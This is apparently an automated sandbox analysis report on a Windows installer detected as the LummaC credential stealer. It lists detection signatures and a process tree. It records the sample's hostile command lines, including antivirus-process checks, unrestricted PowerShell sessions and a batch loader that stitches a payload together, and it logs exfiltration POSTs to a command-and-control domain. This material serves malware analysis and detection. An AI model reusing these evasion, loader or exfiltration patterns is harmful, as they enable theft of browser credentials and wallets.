Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
nanophanotool.exe

Overview

General Information

Sample name:nanophanotool.exe
Analysis ID:1572252
MD5:6ae17b0bddda685eaa622cef4ba2e805
SHA1:8139f07b57a1d71b60d32cba52167aa824afad2a
SHA256:cd207b81505f13d46d94b08fb5130ddae52bd1748856e6b474688e590933a718
Infos:

Detection

LummaC Stealer
Score:48
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Drops PE files with a suspicious file extension
Drops large PE files
Loading BitLocker PowerShell Module
Query firmware table information (likely to detect VMs)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Console CodePage Lookup Via CHCP
Sigma detected: Suspicious Copy From or To System Directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

  • System is w10x64
  • nanophanotool.exe (PID: 7684 cmdline: "C:\Users\user\Desktop\nanophanotool.exe" MD5: 6AE17B0BDDDA685EAA622CEF4BA2E805)
    • NanoTool.exe (PID: 7936 cmdline: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe MD5: 879FC7D89F422B0CF9172FDE5F5F207F)
      • dllhost.exe (PID: 7948 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
      • cmd.exe (PID: 7332 cmdline: C:\Windows\system32\cmd.exe /d /s /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 7432 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • NanoTool.exe (PID: 4488 cmdline: "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 879FC7D89F422B0CF9172FDE5F5F207F)
      • NanoTool.exe (PID: 3400 cmdline: "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 879FC7D89F422B0CF9172FDE5F5F207F)
      • cmd.exe (PID: 6036 cmdline: C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4956 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7368 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2000 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 3060 cmdline: C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • findstr.exe (PID: 8092 cmdline: findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
      • powershell.exe (PID: 8096 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8048 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8068 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 1236 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8064 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2364 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7472 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8108 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7044 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8100 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4364 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7332 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7460 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6720 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8104 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7948 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1700 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7360 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • NanoTool.exe (PID: 3204 cmdline: "C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1816 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 879FC7D89F422B0CF9172FDE5F5F207F)
      • cmd.exe (PID: 8028 cmdline: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • RepublicChoir.exe (PID: 4464 cmdline: "C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe" MD5: 1676B926564776E931EB4126D09E79A6)
          • cmd.exe (PID: 3684 cmdline: "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • tasklist.exe (PID: 7772 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 1508 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • tasklist.exe (PID: 4628 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 6020 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 7448 cmdline: cmd /c md 254268 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • findstr.exe (PID: 7612 cmdline: findstr /V "DarkPrisonIncRangeBathsPresentedBuckSurely" Photograph MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 7456 cmdline: cmd /c copy /b ..\Screen + ..\Laugh + ..\Ceo + ..\Nc + ..\Anticipated + ..\Uh + ..\Negative p MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • Ford.com (PID: 3068 cmdline: Ford.com p MD5: 62D09F076E6E0240548C2F837536A46A)
            • choice.exe (PID: 7328 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
    sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

      System Summary

      barindex
      Source: Process startedAuthor: frack113: Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe, ParentProcessId: 7936, ParentProcessName: NanoTool.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 4956, ProcessName: powershell.exe
      Source: Process startedAuthor: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7332, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 7432, ProcessName: chcp.com
      Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe", ParentImage: C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe, ParentProcessId: 4464, ParentProcessName: RepublicChoir.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd, ProcessId: 3684, ProcessName: cmd.exe
      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe, ParentImage: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe, ParentProcessId: 7936, ParentProcessName: NanoTool.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 4956, ProcessName: powershell.exe

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Enters Enters.cmd && Enters.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3684, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 6020, ProcessName: findstr.exe
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-10T10:19:54.713414+010020283713Unknown Traffic192.168.2.449973172.67.163.8443TCP
      2024-12-10T10:19:56.743218+010020283713Unknown Traffic192.168.2.449979172.67.163.8443TCP
      2024-12-10T10:19:58.907836+010020283713Unknown Traffic192.168.2.449985172.67.163.8443TCP
      2024-12-10T10:20:01.351317+010020283713Unknown Traffic192.168.2.449991172.67.163.8443TCP
      2024-12-10T10:20:03.402190+010020283713Unknown Traffic192.168.2.449997172.67.163.8443TCP
      2024-12-10T10:20:05.759691+010020283713Unknown Traffic192.168.2.450003172.67.163.8443TCP
      2024-12-10T10:20:08.341833+010020283713Unknown Traffic192.168.2.450009172.67.163.8443TCP
      2024-12-10T10:20:12.615690+010020283713Unknown Traffic192.168.2.450020172.67.163.8443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-10T10:19:55.485439+010020546531A Network Trojan was detected192.168.2.449973172.67.163.8443TCP
      2024-12-10T10:19:57.475638+010020546531A Network Trojan was detected192.168.2.449979172.67.163.8443TCP
      2024-12-10T10:20:13.356785+010020546531A Network Trojan was detected192.168.2.450020172.67.163.8443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-10T10:19:55.485439+010020498361A Network Trojan was detected192.168.2.449973172.67.163.8443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-10T10:19:57.475638+010020498121A Network Trojan was detected192.168.2.449979172.67.163.8443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-10T10:20:06.776654+010020480941Malware Command and Control Activity Detected192.168.2.450003172.67.163.8443TCP

      Click to jump to signature section

      Show All Signature Results
      Source: nanophanotool.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\LICENSE.electron.txtJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile created: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\LICENSE.electron.txtJump to behavior
      Source: nanophanotool.exeStatic PE information: certificate valid
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49973 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49979 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49985 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49991 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:49997 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50003 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50009 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 172.67.163.8:443 -> 192.168.2.4:50020 version: TLS 1.2
      Source: nanophanotool.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: \??\C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadLine.PDB source: powershell.exe, 00000011.00000002.1989896289.0000023367940000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: Microsoft.Powershell.PSReadline.pdbY source: powershell.exe, 00000011.00000002.1988557006.000002330009A000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdbl3 source: powershell.exe, 00000011.00000002.1990034235.00000233679D6000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
      Source: Binary string: System.Runtime.Serialization.Formatters.Soape.pdb source: powershell.exe, 00000011.00000002.1990159937.00000233679E8000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000011.00000002.1988789292.000002336587D000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: Microsoft.Powershell.PSReadline.pdb37-8B11-F424491E3931}\InprocServer320805 source: powershell.exe, 00000011.00000002.1988789292.000002336587D000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: *e.pdb source: powershell.exe, 00000011.00000002.1989896289.0000023367940000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: hell.PSReadline.pdb+ source: powershell.exe, 00000011.00000002.1990034235.00000233679A9000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
      Source: Binary string: Microsoft.Powershell.PSReadline.pdb source: powershell.exe, 00000011.00000002.1988557006.000002330009A000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbSAuh1 source: powershell.exe, 00000011.00000002.1988474332.000002330003F000.00000004.00000020.00020000.00000000.sdmp
      Source: Binary string: \??\C:\Windows\symbols\dll\Microsoft.Powershell.PSReadline.pdbl source: powershell.exe, 00000011.00000002.1990034235.00000233679D6000.00000004.00000020.00020000.00000000.sdmp
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\userJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\resourcesJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\7z-out\localesJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\Desktop\nanophanotool.exeJump to behavior
      Source: C:\Users\user\Desktop\nanophanotool.exeFile opened: C:\Users\user\AppData\Local\Temp\nsr1988.tmp\app-64.7zJump to behavior

      Networking

      barindex
      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49973 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49973 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50003 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49979 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49979 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50020 -> 172.67.163.8:443
      Source: Joe Sandbox ViewIP Address: 162.159.61.3 162.159.61.3
      Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
      Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49973 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49985 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49979 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49991 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49997 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50003 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50009 -> 172.67.163.8:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50020 -> 172.67.163.8:443
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: troubledinco.click
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J1ELG6AP17J7AHU3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18151Host: troubledinco.click
